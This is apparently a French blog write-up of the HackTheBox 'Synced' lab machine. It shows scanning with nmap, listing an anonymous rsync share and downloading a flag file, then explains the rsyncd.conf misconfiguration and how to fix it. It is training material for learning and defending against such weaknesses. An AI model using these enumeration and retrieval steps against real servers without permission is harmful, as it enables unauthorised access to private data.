Aller au contenu principal

Synced

· 2 minutes de lecture
RavenBreach
Juste un mec qui apprend

Synced est la dernière étape du Tier 0 de Starting Point. On termine en beauté avec un utilitaire de transfert de fichiers extrêmement courant sous Linux : rsync.

astuce

Attention : Il s'agit d'une machine VIP. Vous aurez besoin d'un abonnement HTB pour pouvoir la lancer.

attention

Dans ce writeup, je ne publie pas directement le flag final, l'objectif est d'apprendre en pratiquant.

attention

N'attaquez que des machines sur lesquelles vous avez l'autorisation. Respectez les règles de la plateforme.

Cette machine illustre parfaitement comment un outil de sauvegarde, s'il est mal configuré, peut devenir une porte ouverte sur vos données.

▶ RavenBreach sur YouTube


Reconnaissance

Découverte d'hôte

┌─[ravenbreach@htb][~]
└──╼ $ ping 10.129.8.119

64 bytes from 10.129.8.119: icmp_seq=1 ttl=63 time=8.33 ms

Énumération des services

┌─[ravenbreach@htb][~]
└──╼ $ nmap -sV 10.129.8.119

PORT STATE SERVICE VERSION
873/tcp open rsync (protocol version 31)

Port 873 ouvert. Le service est rsync — un outil de synchronisation et transfert de fichiers massivement utilisé pour les backups de serveurs. Il ne transfère que les parties modifiées des fichiers (système de "delta").


Pré-Exploitation

Evaluation de vulnérabilité

Parfois, rsync est configuré pour accepter des connexions anonymes. On liste les répertoires disponibles.

┌─[ravenbreach@htb][~]
└──╼ $ rsync --list-only 10.129.8.119::

public Anonymous Share

Un partage public en accès anonyme !


Exploitation

Exploration du dossier

┌─[ravenbreach@htb][~]
└──╼ $ rsync --list-only 10.129.8.119::public

-rw-r--r-- 33 2022/10/24 flag.txt

Récupération du flag

┌─[ravenbreach@htb][~]
└──╼ $ rsync 10.129.8.119::public/flag.txt flag.txt

┌─[ravenbreach@htb][~]
└──╼ $ cat flag.txt

72e{...}519

La machine est pwned !


Post-Exploitation

La faille résidait dans /etc/rsyncd.conf. En autorisant l'accès sans authentification à un module, l'administrateur a transformé son outil de sauvegarde en serveur de fichiers public.

Leçon : ne jamais exposer rsync sans authentification (auth users) et restreindre l'accès par IP pour que seuls les serveurs de backup autorisés puissent se connecter.